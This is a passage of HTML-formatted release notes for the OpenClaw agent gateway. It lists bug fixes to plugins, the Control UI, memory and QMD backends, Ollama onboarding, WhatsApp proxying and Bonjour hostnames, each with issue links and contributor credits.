<li>Gateway/plugins: skip stale configured channels whose matching plugin is no longer discoverable, point cleanup at <code>openclaw doctor --fix</code>, and keep unrelated channel typos fatal so one missing channel plugin no longer crash-loops the Gateway. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4124825809" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/53311" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/53311/hovercard" href="https://github.com/openclaw/openclaw/issues/53311">#53311</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/futhgar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/futhgar">@futhgar</a>.</li>
<li>Control UI: keep session-specific assistant identity loads authoritative after WebSocket connect, so non-main agent chat sessions do not show the main agent name in the header after bootstrap refreshes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4335228084" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72776" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72776/hovercard" href="https://github.com/openclaw/openclaw/issues/72776">#72776</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rockytian-top/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rockytian-top">@rockytian-top</a>.</li>
<li>Agents/Qwen: preserve exact custom <code>modelstudio</code> provider configs with foreign <code>api</code> owners so explicit OpenAI-compatible Model Studio endpoints no longer get normalized into the bundled Qwen plugin path. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4241479558" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64483" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64483/hovercard" href="https://github.com/openclaw/openclaw/issues/64483">#64483</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/FiredMosquito831/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/FiredMosquito831">@FiredMosquito831</a>.</li>
<li>MCP/bundle-mcp: normalize CLI-native <code>type: "http"</code> MCP server entries to OpenClaw <code>transport: "streamable-http"</code> on save, repair existing configs with doctor, and keep embedded Pi from falling back to legacy SSE GET-first startup for those servers. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4335050401" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72757" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72757/hovercard" href="https://github.com/openclaw/openclaw/issues/72757">#72757</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Studioscale/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Studioscale">@Studioscale</a>.</li>
<li>OpenCode: expose Anthropic Opus/Sonnet 4.x thinking levels for proxied Claude models, so <code>/think xhigh</code>, <code>/think adaptive</code>, and <code>/think max</code> validate consistently with the direct Anthropic provider. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4334548834" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72729" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72729/hovercard" href="https://github.com/openclaw/openclaw/issues/72729">#72729</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/haishmg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/haishmg">@haishmg</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aaajiao/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aaajiao">@aaajiao</a>.</li>
<li>Media-understanding/audio: migrate deprecated <code>{input}</code> placeholders in legacy <code>audio.transcription.command</code> configs to <code>{{MediaPath}}</code>, so custom audio transcribers no longer receive the literal placeholder after doctor repair. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4335120301" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72760" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72760/hovercard" href="https://github.com/openclaw/openclaw/issues/72760">#72760</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/krisfanue3-hash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/krisfanue3-hash">@krisfanue3-hash</a>.</li>
<li>Ollama/WSL2: warn when GPU-backed WSL2 installs combine CUDA visibility with an autostarting <code>ollama.service</code> using <code>Restart=always</code>, and document the systemd, <code>.wslconfig</code>, and keep-alive mitigation for crash loops. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4205722264" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61022" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/61022/hovercard" href="https://github.com/openclaw/openclaw/pull/61022">#61022</a>; fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4206448739" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61185" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/61185/hovercard" href="https://github.com/openclaw/openclaw/issues/61185">#61185</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yhyatt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yhyatt">@yhyatt</a>.</li>
<li>Ollama/onboarding: de-dupe suggested bare local models against installed <code>:latest</code> tags and skip redundant pulls, so setup shows the installed model once and no longer says it is downloading an already available model. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4290796328" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68952" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68952/hovercard" href="https://github.com/openclaw/openclaw/issues/68952">#68952</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tleyden/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tleyden">@tleyden</a>.</li>
<li>Memory-core/doctor: keep <code>doctor.memory.status</code> on the cached path by default and only run live embedding pings for explicit deep probes, preventing slow local embedding backends from blocking Gateway status checks. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4328026042" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71568" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71568/hovercard" href="https://github.com/openclaw/openclaw/issues/71568">#71568</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/apex-system/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/apex-system">@apex-system</a>.</li>
<li>Memory/QMD: group same-source collections into one QMD search invocation when the installed QMD supports multiple <code>-c</code> filters, while keeping older QMD builds on the per-collection fallback. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332566839" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72484" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72484/hovercard" href="https://github.com/openclaw/openclaw/issues/72484">#72484</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332567282" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72485" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72485/hovercard" href="https://github.com/openclaw/openclaw/pull/72485">#72485</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4300148574" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69583" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/69583/hovercard" href="https://github.com/openclaw/openclaw/pull/69583">#69583</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BsnizND/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BsnizND">@BsnizND</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zeroaltitude/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zeroaltitude">@zeroaltitude</a>.</li>
<li>Memory/QMD: accept QMD status vector-count variants such as <code>Vectors = 42</code>, <code>Vectors:42</code>, and <code>Vectors: 42 embedded</code>, so <code>memory status --deep</code> no longer reports embeddings unavailable for healthy QMD wrappers. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4230927724" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63652" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63652/hovercard" href="https://github.com/openclaw/openclaw/issues/63652">#63652</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4231262054" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63678" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/63678/hovercard" href="https://github.com/openclaw/openclaw/pull/63678">#63678</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/apoapostolov/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/apoapostolov">@apoapostolov</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WarrenJones/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WarrenJones">@WarrenJones</a>.</li>
<li>Memory/QMD: skip QMD vector status probes and embedding maintenance in lexical <code>searchMode: "search"</code>, so BM25-only QMD setups on ARM do not trigger llama.cpp/Vulkan builds during status checks or embed cycles. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4189583069" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59234" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59234/hovercard" href="https://github.com/openclaw/openclaw/issues/59234">#59234</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4267984707" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67113" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67113/hovercard" href="https://github.com/openclaw/openclaw/issues/67113">#67113</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PrinceOfEgypt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PrinceOfEgypt">@PrinceOfEgypt</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Vksh07/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Vksh07">@Vksh07</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Snipe76/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Snipe76">@Snipe76</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NomLom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NomLom">@NomLom</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/t4r3e2q1-commits/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/t4r3e2q1-commits">@t4r3e2q1-commits</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dmak/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dmak">@dmak</a>.</li>
<li>Memory/QMD: report the live watcher dirty state in memory status, so changed QMD-backed memory files show as dirty until the queued sync finishes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4200061352" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60244" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/60244/hovercard" href="https://github.com/openclaw/openclaw/issues/60244">#60244</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xinzf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xinzf">@xinzf</a>.</li>
<li>Compaction: skip oversized pre-compaction checkpoint snapshots and prune duplicate long user turns from compaction input and rotated successor transcripts, preventing retry storms from being preserved across checkpoint cycles. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4335315619" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72780" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72780/hovercard" href="https://github.com/openclaw/openclaw/issues/72780">#72780</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SweetSophia/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SweetSophia">@SweetSophia</a>.</li>
<li>Control UI/Cron: render cron job prompts and run summaries as sanitized markdown in the dashboard, with full-width block content, safer link clicks, and no duplicate error text when a failed run has no summary. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4084972176" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48504" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/48504/hovercard" href="https://github.com/openclaw/openclaw/pull/48504">#48504</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/garethdaine/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/garethdaine">@garethdaine</a>.</li>
<li>Control UI/Gateway: preserve WebChat client version labels across localhost, 127.0.0.1, and IPv6 loopback aliases on the same port, avoiding misleading <code>vcontrol-ui</code> connection logs while investigating duplicate-message reports. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4334957430" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72753" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72753/hovercard" href="https://github.com/openclaw/openclaw/issues/72753">#72753</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4334796900" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72742" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72742/hovercard" href="https://github.com/openclaw/openclaw/issues/72742">#72742</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LumenFromTheFuture/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LumenFromTheFuture">@LumenFromTheFuture</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/allesgutefy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/allesgutefy">@allesgutefy</a>.</li>
<li>Agents/reasoning: treat orphan closing reasoning tags with following answer text as a privacy boundary across delivery, history, streaming, and Control UI sanitizers so malformed local-model output cannot leak chain-of-thought text. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4267622881" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67092" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67092/hovercard" href="https://github.com/openclaw/openclaw/issues/67092">#67092</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AnildoSilva/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AnildoSilva">@AnildoSilva</a>.</li>
<li>Memory-core: run one-shot memory CLI commands through transient builtin and QMD managers so <code>memory index</code>, <code>memory status --index</code>, and <code>memory search</code> no longer start long-lived file watchers that can hit macOS <code>EMFILE</code> limits. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4187752224" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59101" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59101/hovercard" href="https://github.com/openclaw/openclaw/issues/59101">#59101</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4095576345" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49851" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/49851/hovercard" href="https://github.com/openclaw/openclaw/pull/49851">#49851</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mbear469210-coder/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mbear469210-coder">@mbear469210-coder</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/maoyuanxue/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/maoyuanxue">@maoyuanxue</a>.</li>
<li>Agents/ACP: ship the Claude ACP adapter with OpenClaw and require Claude result messages before idle can complete a prompt, preventing parent agents from waking early on long-running <code>sessions_spawn(runtime: "acp", agentId: "claude")</code> children. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4330496541" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72080" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72080/hovercard" href="https://github.com/openclaw/openclaw/issues/72080">#72080</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/siavash-saki/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/siavash-saki">@siavash-saki</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iannwu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iannwu">@iannwu</a>.</li>
<li>CLI/tasks: route <code>tasks --json</code>, <code>tasks list --json</code>, and <code>tasks audit --json</code> through a lean JSON path so read-only task inspection no longer loads unrelated plugin/runtime command graphs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4258741985" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66238" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66238/hovercard" href="https://github.com/openclaw/openclaw/issues/66238">#66238</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ChuckChambers/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ChuckChambers">@ChuckChambers</a>.</li>
<li>Memory-core: re-resolve the active runtime config whenever <code>memory_search</code> or <code>memory_get</code> executes, so provider changes made by <code>config.patch</code> stop leaving stale embedding backends behind in existing tool instances. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4206081616" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61098" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/61098/hovercard" href="https://github.com/openclaw/openclaw/issues/61098">#61098</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BradGroux/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BradGroux">@BradGroux</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Linux2010/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Linux2010">@Linux2010</a>.</li>
<li>WebChat: keep bare <code>/new</code> and <code>/reset</code> startup instructions out of visible chat history while preserving <code>/reset &lt;note&gt;</code> as user-visible transcript text. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332044131" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72369" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72369/hovercard" href="https://github.com/openclaw/openclaw/issues/72369">#72369</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/collynes/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/collynes">@collynes</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/haishmg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/haishmg">@haishmg</a>.</li>
<li>Tasks/memory: checkpoint and truncate SQLite WAL sidecars on a timer and before close for task, Task Flow, proxy capture, and builtin memory databases, bounding long-running gateway <code>*.sqlite-wal</code> growth. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4335184021" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72774" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72774/hovercard" href="https://github.com/openclaw/openclaw/issues/72774">#72774</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dfpalhano/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dfpalhano">@dfpalhano</a>.</li>
<li>CLI/doctor: remove dangling channel config, heartbeat targets, and channel model overrides when stale plugin repair removes a missing channel plugin, preventing Gateway boot loops after failed plugin reinstalls. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4247552366" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65293" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65293/hovercard" href="https://github.com/openclaw/openclaw/issues/65293">#65293</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yidecode/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yidecode">@yidecode</a>.</li>
<li>Control UI/Gateway: cache, coalesce, stale-refresh, and invalidate effective tool inventory on channel registry changes while reusing the gateway-bound plugin registry and avoiding model/auth discovery, so chat runs no longer stall Control UI requests on repeated plugin/model setup. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331993898" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72365" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72365/hovercard" href="https://github.com/openclaw/openclaw/issues/72365">#72365</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332899080" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72558" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72558/hovercard" href="https://github.com/openclaw/openclaw/pull/72558">#72558</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gabiii2398/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gabiii2398">@Gabiii2398</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/1yihui/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/1yihui">@1yihui</a>.</li>
<li>Channels/setup: treat bundled channel plugins as already bundled during <code>channels add</code> and onboarding, enabling them without writing redundant <code>plugins.load.paths</code> entries or path install records. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4334766601" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72740" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72740/hovercard" href="https://github.com/openclaw/openclaw/issues/72740">#72740</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iCodePoet/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iCodePoet">@iCodePoet</a>.</li>
<li>WhatsApp: honor gateway <code>HTTPS_PROXY</code> / <code>HTTP_PROXY</code> env vars for QR-login WebSocket connections, while respecting <code>NO_PROXY</code>, so proxied networks no longer fall back to direct <code>mmg.whatsapp.net</code> connections that time out with 408. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332861530" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72547" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72547/hovercard" href="https://github.com/openclaw/openclaw/issues/72547">#72547</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4333995671" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72692" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72692/hovercard" href="https://github.com/openclaw/openclaw/pull/72692">#72692</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mebusw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mebusw">@mebusw</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SymbolStar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SymbolStar">@SymbolStar</a>.</li>
<li>Bonjour: default mDNS advertisements to the system hostname when it is DNS-safe, avoiding <code>openclaw.local</code> probing conflicts and Gateway restart loops on hosts such as <code>Lobster</code> or <code>ubuntu</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331958353" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72355" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72355/hovercard" href="https://github.com/openclaw/openclaw/issues/72355">#72355</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4333934083" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72689" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72689/hovercard" href="https://github.com/openclaw/openclaw/issues/72689">#72689</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4334059157" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72694" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72694/hovercard" href="https://github.com/openclaw/openclaw/pull/72694">#72694</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mscheuerlein-bot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mscheuerlein-bot">@mscheuerlein-bot</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gcusms/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gcusms">@gcusms</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/moyuwuhen601/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/moyuwuhen601">@moyuwuhen601</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pavan987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pavan987">@pavan987</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zml-0912/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zml-0912">@zml-0912</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hhq365/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hhq365">@hhq365</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SymbolStar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SymbolStar">@SymbolStar</a>.</li>
<li>Agents/OpenAI-compatible: retry replay-safe empty <code>stop</code> turns once for <code>openai-completions</code> endpoints, so transient empty local backend responses no longer surface as “Agent couldn't generate a response” when a continuation succeeds, and restore <code>openclaw agent --model</code> for one-shot CLI runs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4334894224" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72751" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72751/hovercard" href="https://github.com/openclaw/openclaw/issues/72751">#72751</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/moooV252/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/moooV252">@moooV252</a>.</li>
<li>Git hooks: skip ignored staged paths when formatting and restaging pre-commit files, so merge commits no longer abort when <code>.gitignore</code> newly ignores staged merged content. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4334805845" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72744" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72744/hovercard" href="https://github.com/openclaw/openclaw/issues/72744">#72744</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>Memory-core/dreaming: add a supported <code>dreaming.model</code> knob for Dream Diary narrative subagents, wired through phase config and the existing plugin subagent model-override trust gate. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4255215946" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65963" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65963/hovercard" href="https://github.com/openclaw/openclaw/issues/65963">#65963</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/esqandil/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/esqandil">@esqandil</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mjamiv/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mjamiv">@mjamiv</a>.</li>
